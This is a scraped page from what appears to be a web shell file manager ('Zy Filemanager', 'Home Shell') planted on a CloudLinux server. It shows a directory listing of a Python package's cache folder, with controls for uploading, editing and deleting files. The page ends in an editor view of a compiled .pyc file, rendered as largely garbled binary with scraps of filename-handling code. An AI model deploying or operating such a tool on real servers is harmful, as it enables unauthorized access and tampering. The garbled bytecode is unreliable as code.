⚠️ BACKUP DATA ANDA SECARA TERATUR! File manager ini untuk keperluan teknis.
Zy Filemanager
berang berang bawa gelek berangkat lek !!!
🌙 Dark Mode
🏠 Home Shell
🔄 Refresh
Current Path:
Home Shell
/
opt
/
cloudlinux
/
venv
/
lib
/
python3.11
/
site-packages
/
pytest_snapshot
/
__pycache__
⬆️ Parent Directory
📁 File Browser
Name
Size
Permissions
Modified Date
Actions
📄
__init__.cpython-311.pyc
(389 bytes)
389 B
0644
📅
✏️
✍️
⬇️
🗑️
📄
_utils.cpython-311.pyc
(6,636 bytes)
6.48 KB
0644
📅
✏️
✍️
⬇️
🗑️
📄
_version.cpython-311.pyc
(274 bytes)
274 B
0644
📅
✏️
✍️
⬇️
🗑️
📄
plugin.cpython-311.pyc
(17,615 bytes)
17.2 KB
0644
📅
✏️
✍️
⬇️
🗑️
📤 Upload Files
Single File
Multiple Files
ZIP Extract
ZIP file will be deleted after extraction
➕ Create New
New Folder
New File
✍️ Editing: _utils.cpython-311.pyc
File: /opt/cloudlinux/venv/lib/python3.11/site-packages/pytest_snapshot/__pycache__/_utils.cpython-311.pyc
Size: 6.48 KB | Last Modified: 2026-01-20 20:01:48
💾 Backup File
🔢 Toggle Line Numbers
� �|oim � � � d dl Z d dlZd dlmZ d dlZ ej d� � ZdZdedefd�Zde de fd �Z de defd �Zde fd�Z defd �Zdefd�Zd� Zd� ZdS )� N)�Pathz([0-9]+)\.([0-9]+)\.([0-9]+)z \/:*?"<>|�path�returnc �t � | � t j � � � � S # t $ r | cY S w xY w)zv Returns the path relative to the current working directory if possible. Otherwise return the path unchanged. )�relative_to�os�getcwd� ValueError)r s �h/builddir/build/BUILD/cloudlinux-venv-1.0.10/venv/lib/python3.11/site-packages/pytest_snapshot/_utils.py�shorten_pathr sE � ������ ���,�,�,��� � � ��������s �%( �7�7�sc �� � t | � � � � � � dd� � } t j dd| � � } dddd�� | | � � } | S ) z� Return the given string converted to a string that can be used for a clean filename. Taken from https://github.com/django/django/blob/master/django/utils/text.py � �_z(?u)[^-\w.]� �empty�dot�dotdot)r �.�..)�str�strip�replace�re�sub�get�r s r �get_valid_filenamer s^ � � �A���������s�C�(�(�A� ��~�r�1�%�%�A� �5��1�1�5�5�a��;�;�A��H� c � � � t � � � dk p+� dk p%� dk pt � fd�t D � � � � S )a Returns false if the given string is definitely a path traversal or not a valid filename. Returns true if the string might be a valid filename. Note: This isn't secure, it just catches most accidental path traversals or invalid filenames. r r r c 3 � �K � | ]}|�v V � � d S �N� )�.0�cr s �r � <genexpr>z*might_be_valid_filename.<locals>.<genexpr>+ s'